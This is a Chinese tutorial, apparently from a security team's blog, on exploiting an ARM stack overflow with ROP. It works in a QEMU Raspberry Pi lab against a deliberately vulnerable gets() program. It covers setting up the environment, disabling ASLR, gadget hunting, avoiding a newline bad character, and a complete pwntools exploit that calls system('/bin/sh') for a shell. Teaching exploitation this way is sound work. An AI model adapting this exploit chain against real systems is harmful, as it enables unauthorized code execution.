责任编辑:支书Woojune
目前市面上的android手机大多都是基于arm cpu,在嵌入式设备领域arm cpu更是处于统治地位,因此在移动安全领域有必要熟悉下arm的exploition。本文记录了arm下栈溢出到ROP利用的调试过程,供入门参考。
要调试arm程序,首先你要有arm的机器。虽然android手机大部分是arm cpu,但是由于android系统和linux系统的库和工具还是有很多不同,使用很不方便,最好还是有arm + linux的环境,raspberry pi 便是不错的选择。这里我们使用开源硬件模拟器QEMU+raspberry pi的image来搭建arm + linux的环境。
1. ubuntu 16.02 32位系统
2. QEMU emulator version 2.5.0
3. raspberry pi image:2014-06-20-wheezy-raspbian.img
4. qemu kernel : qemu_kernel_3.2.27_with_CIFS
首先安装qemu:
apt-get install qemu-system qemu-user-static binfmt-support
安装好后,将raspberry pi image和qemu kernel放到同一目录下,运行如下命令启动虚拟机修改一些配置文件:
qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash" -hda 2014-06-20-wheezy-raspbian.img
启动后界面如下:
接下来需要修改一些配置文件,首先执行
vi /etc/ld.so.preload
将/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so注释掉:
#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so
然后新建/etc/udev/rules.d/90-qemu.rules文件,并加入如下内容:
KERNEL=="sda", SYMLINK+="mmcblk0" KERNEL=="sda?", SYMLINK+="mmcblk0p%n" KERNEL=="sda2", SYMLINK+="root"
配置好后退出并关闭虚拟机。raspberry pi image自带的磁盘空间很小,通过如下命令扩展:
qemu-img resize 2014-06-20-wheezy-raspbian.img +8G
现在可以用如下命令真正启动进入虚拟机了:
qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw" -hda 2014-06-20-wheezy-raspbian.img
启动后界面如下:
通过用户名pi及密码raspberry进入系统:
刚才用qemu-img扩展了image,进入系统后还需要通过如下命令扩展文件系统:
sudo ln -snf mmcblk0p2 /dev/root sudo raspi-config
最后,配置好的系统如图所示:
配置好系统后就可以进入系统安装软件、配置调试环境了。为了调试方便,需要通过ssh访问系统,但是qemu配置host与guest直接网络互通比较麻烦,因此使用qemu端口转发的方式比较方便,而host与guest文件共享则使用qemu自带的samba服务,最终qemu启动命令如下:
qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw " -hda 2014-06-20-wheezy-raspbian.img -redir tcp:5022::22 -redir tcp:6666::6666 -smb /root/Desktop
通过redir参数,我们将raspberry的22端口映射到host的5022端口,那么主机ubuntu可通过如下命令访问raspberry:
ssh -p 5022 [email protected]
同时,我们将raspberry的6666端口映射到本地的6666端口,方便利用socat调试远程溢出。qemu的smb参数指定主机的目录为samba目录,在raspberry guest中可以通过\\10.0.2.4\qemu访问,10.0.2.4是qemu规定的samba共享地址。在raspberry中可通过如下命令挂载samba共享:
sudo mount -t cifs //10.0.2.4/qemu /mnt/Host
挂载好后在raspberry中可直接通过/mnt/Host访问主机的共享目录。系统环境准备好后就是安装调试环境,主要用到了gdb插件gef、checksec.sh、pattern.py、Ropgadget、pwntools等。这些工具都可以通过apt-get和pip安装,十分方便。
搭建好arm的环境后,我们先通过一个简单的栈溢出来练练手,同时先关闭ASLR:
sudo echo 0 > /proc/sys/kernel/randomize_va_space
编写一个简单的栈溢出程序stack.c:
#include <stdio.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); return 0; }
通过gcc编译得到可执行程序:
gcc -o stack stack.c
程序非常简单,gets函数存在栈溢出,接下来我们调试程序寻找溢出点:
使用checksec查看使用了哪些安全机制:
使用了DEP,没有栈保护及PIE,由于我们先关闭了ASLR,因此这里主要是绕过DEP机制,可以使用ret2libc或ROP,这里我们使用ROP。
为了准确找出溢出点,我们使用pattern.py首先生成150字符,并输入:
可以看到PC值为0x33634132,通过pattern.py确定溢出点为68:
接下来我们需要构造ROP chain.我们溢出的目的是执行libc中的system函数,执行system("/bin/sh")获取到shell。由于arm中函数参数是通过寄存器传递而不是栈,因此我们至少需要一个gadget:设置寄存器r0为"/bin/sh"。
stack程序本身代码较少,因此我们在libc中寻找,我们使用ROPgadget来寻找:
ROPgadget --binary libc-2.13.so --only "pop" | grep r0
只找到一个:
0x0007908c : pop {r0, r4, pc}
这个gadget刚好满足我们的需求:控制r0及pc.但是在这里却出现了一个大问题:坏字符。我们先找到libc加载的基址0x40034000:
计算得到gadget1的内存地址:0x400ad08c
该地址有一坏字符0a,即换行符'\n'。gets函数在遇到换行符就结束了,payload就没法正常发送。因此 pop {r0, r4, pc}这个gadget没法用。我们只有找mov r0,rn类似的gadget来曲线救国:
ROPgadget --binary libc-2.13.so --only "mov|pop" | grep r0
找到一大堆gadget,我们选取如下:
0x000e2010 : mov r0, r1 ; pop {r4, pc}
这里通过寄存器r1中转,因此还要找一个控制r1的gadget:
0x00102ae4 pop {r1,pc}
最后我们的ROP chain为:
1. gadget1: 0x00102ae4 : pop {r1,pc} 2. gadget2: 0x000e2010 : mov r0, r1 ; pop {r4, pc} 3. ret2libc调用system函数
exploit中我们还需要知道system函数的地址及/bin/sh的地址:
最后我们的exploit脚本如下:
from pwn import * p = remote('127.0.0.1',6666) #gadget1: 0x00102ae4 pop {r1,pc} #gadget2: 0x000e2010 mov {r0,r1}; pop {r4,pc} libc_base = 0x40034000 gadget1 = libc_base + 0x00102ae4 gadget2 = libc_base + 0x000e2010 bin_sh_addr_in_libc = 0x40149e6c system = 0x4006ebd8 r4 = 'BBBB' payload = 'A'*68 + p32(gadget1) + p32(bin_sh_addr_in_libc) + p32(gadget2) + r4 + p32(system) p.send(payload) p.interactive()
最后测试溢出效果,在raspberry pi 虚拟机中执行socat:
在主机端远程溢出成功,获取到shell:
本文记录了在qemu raspberry pi虚拟环境下调试arm栈溢出及ROP的过程,栈溢出的可执行程序很简单,主要是调试rop的过程中遇到坏字符的问题调试了很久,PC莫名其妙跑飞,最后才找到原因及解决办法。后续将继续调试arm下绕过ASLR及堆溢出的练习。
版权声明:
本文由MS509团队成员原创,转载请注明来源
注:本文已由团队成员“thor”2016-06-26 发布于“FreeBuf”
↓↓↓ 点击"阅读原文" 【查看更多信息】